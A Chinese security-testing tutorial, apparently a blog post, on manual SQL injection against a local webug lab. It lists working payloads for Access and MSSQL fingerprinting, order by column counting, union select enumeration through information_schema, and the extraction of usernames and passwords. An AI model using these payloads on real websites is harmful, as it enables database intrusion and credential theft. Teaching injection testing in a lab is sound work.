php 依赖注入 数据库切换_安全测试基础SQL注入详解

1:什么是SQL注入

SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行。

 www.xx.com/news.php?id=1 www.xx.com/news.php?id=1 and 1=1

这里我们来理解一下SQL注入

首先,SQL注入常年蝉联OWASP排行榜第一名

4526e4e9aecfc058680b416f85e0b89f.png

SQL注入产生的过程是怎样的呢?见下图

dcf864ac02d1aa9f137ed5f3eb01b149.png

SQL注入的危害有哪些?

  数据库信息泄露  网页篡改  网站被挂马  数据库被恶意操作  服务器被远程控制  破坏硬盘数据

2:学习一下sql注入的方法

d2ca48e8a538f2e9d49d9e022b59d32b.png

2.1取消友好HTTP错误消息

一般通过远程测试判断是否存在SQL注入,所以通常没有机会通过查看源代码来复查注入的查询结构。这导致经常需要通过推理来进行大量测试

   打开IE浏览器,选择菜单“工具”->“Internet选项”对话框。   打开“高级”选项卡,在设置列表中找到“浏览”组,   取消勾选”显示友好HTTP错误信息”复选框 。如下图

878d29f9ec2902aeb6a3145321dbe12f.png

2.2寻找SQL注入

最常用的SQL注入判断方法,在网站中寻找如下形式的网页

http://192.168.1.3/webug/pentest/test/sqli/sqltamp.php?gid=1e8422b16d065722f8988cc0fbb35ce58.png

提交单引号,页面返回错误

afa58fdd4992fba49983477f04a89f5d.png

2.3确认注入点

区分数字和字符串   数字型   SELECT *FROM user WHERE id=1   SELECT * FROM user WHERE id > 1   带引号类型的   SELECT * FROM user WHERE name = ‘admin’   SELECT * FROM user WHERE date > ‘2017-5-3’

内联SQL注入:内联注入是指插入查询注入SQL代码后,原来的查询仍然会全部执行。

终止式SQL注入:终止式SQL语句注入是指攻击者在注入SQL代码时,通过注释剩下的查询来成功结束该语句

例如在单引号后面再加上 %23 表示进行单引号闭合,此时页面又恢复正常

select * from XXX where id ='1"

select * from XXX where id = ' 1'%23  ' (蓝色部分为注入内容,红色部分为被注释掉)

0009d1b2e3626ce50c651bde6a6069c7.png

3:识别数据库

5bc700540116974369ee90000f74409f.png

109f84e71fcee2ced967be3f444be13a.png

3.1:数据库连接运算符

916a789941997386837e89dccddd18d1.png

www.xx.com/news.php?uid=adminwww.xx.com/news.php?uid=ad’+’minwww.xx.com/news.php?uid=ad’’minwww.xx.com/news.php?uid=ad||min

3.2 Access数据库注入

利用内置数据库表获取数据库类型

and (select count(*) from sysobjects)>=0  Sysobjects为Mssql数据库内置表and (select count(*) from msysobjects)>=0  Msysobjects为Access数据库内置表

Access手工注入猜解

猜表名   and exists(select * from 表名)   and(select count(*) from 表名)>=0

猜字段名   and exists(select 字段名 from 表名)   and (select count(字段名) from 表名)>=0猜字段长度   and (select top 1 len(字段名) from 表名)>1   and (select top 1 len(字段名) from 表名)>2   and (select top 1 len(字段名) from 表名)>n

猜字段值  and (select top 1 asc(mid (字段名,1,1)) from 表名)>0  and (select top 1 asc(mid (字段名,1,1)) from 表名)>1  and (select top 1 asc(mid (字段名,1,1)) from 表名)>n  and (select top 1 asc(mid (字段名,2,1)) from 表名)>0  and (select top 1 asc(mid (字段名,2,1)) from 表名)>2  and (select top 1 asc(mid (字段名,2,1)) from 表名)>n

Order by 猜字段数目

  Order by 1  Order by 2  Order by n

Union select 获取段内容  Union select 1,字段名,2,…,n from 表名

3.3 Mssql数据库注入

在进行MsSQL注入攻击时,首先要对MsSQL注入点进行一下基本的注入检查,以确定后面的攻击实施方案。注入点权限判断   and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判断是否是系统管理员   and 1=(select IS_SRVROLEMEMBER('db_owner')) //判断是否是库权限   and 1=(select IS_SRVROLEMEMBER('public')) //判断是否为public权限

返回信息判断   and @@version>0 //数据库信息   ;declare @d int //判断MsSQL支持多行语句查询   and (select count(1) from [sysobjects])>=0 //是否支持子查询   and user>0 //获取当前数据库用户名   and 1=convert(int,db_name()) 或 1=(select db_name()) //当前数据库名   and 1=(select @@servername) //本地服务名   and 1=(select HAS_DBACCESS('master')) //判断是否有库读取权限

爆当前数据库名

and db_name()=0

and db_name(n)>0

a9785c67eba7b2e1bb33148077b65d64.png

利用order by报错法继续进行攻击,爆表名、字段名、字段内容

order by 10 //返回错误

order by 5 //返回错误

order by 4 //返回正确

证明该注入点处查询字段数据为4。使用union select查询数据库的版本信息,以及连接的用户名和数据库

名等,提交如下链接:

union select 1,2,3,4

27b7b810352b7065cdca0f10379c0b87.png

954392b30c45450a3a6dfc78b434190d.png

7f9d8ed64738eecd95d693646691e3f3.png

Information_schema结构

Information_schema结构包含数据库关键信息

“SCHEMATA”表,用于存储数据库名,其中的关键字段为

SCHEMA_NAME,表示数据库名称

“TABLES”表,用于存储表名。其中关键字段TABLE_SCHEMA表示表所属的数据库名称;关键字段

TABLE_NAME表示表的名称

”COLUMNS“表,用于存储字段名。其中的关键字段TABLE_SCHEMA表示表所属的数据库名称;字段

TABLE_NAME表示所属的表的名称;COLUMN_NAME表示字段名

爆出4张表

union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema =database()

4a6926082d647405264e1b19ac22f068.png

根据表名爆列名,可以获取user表中所有的列

union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name ='user'

866f9331ff11b88ffb6162f4d629bf7e.png

根据列名爆出所有关键用户字段的信息

union select uname,pwd,3,4 from flag %23

46de17603ccac3fae703f4152fc77547.png

1ac212103ebd937c10a6890d4df389ae.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值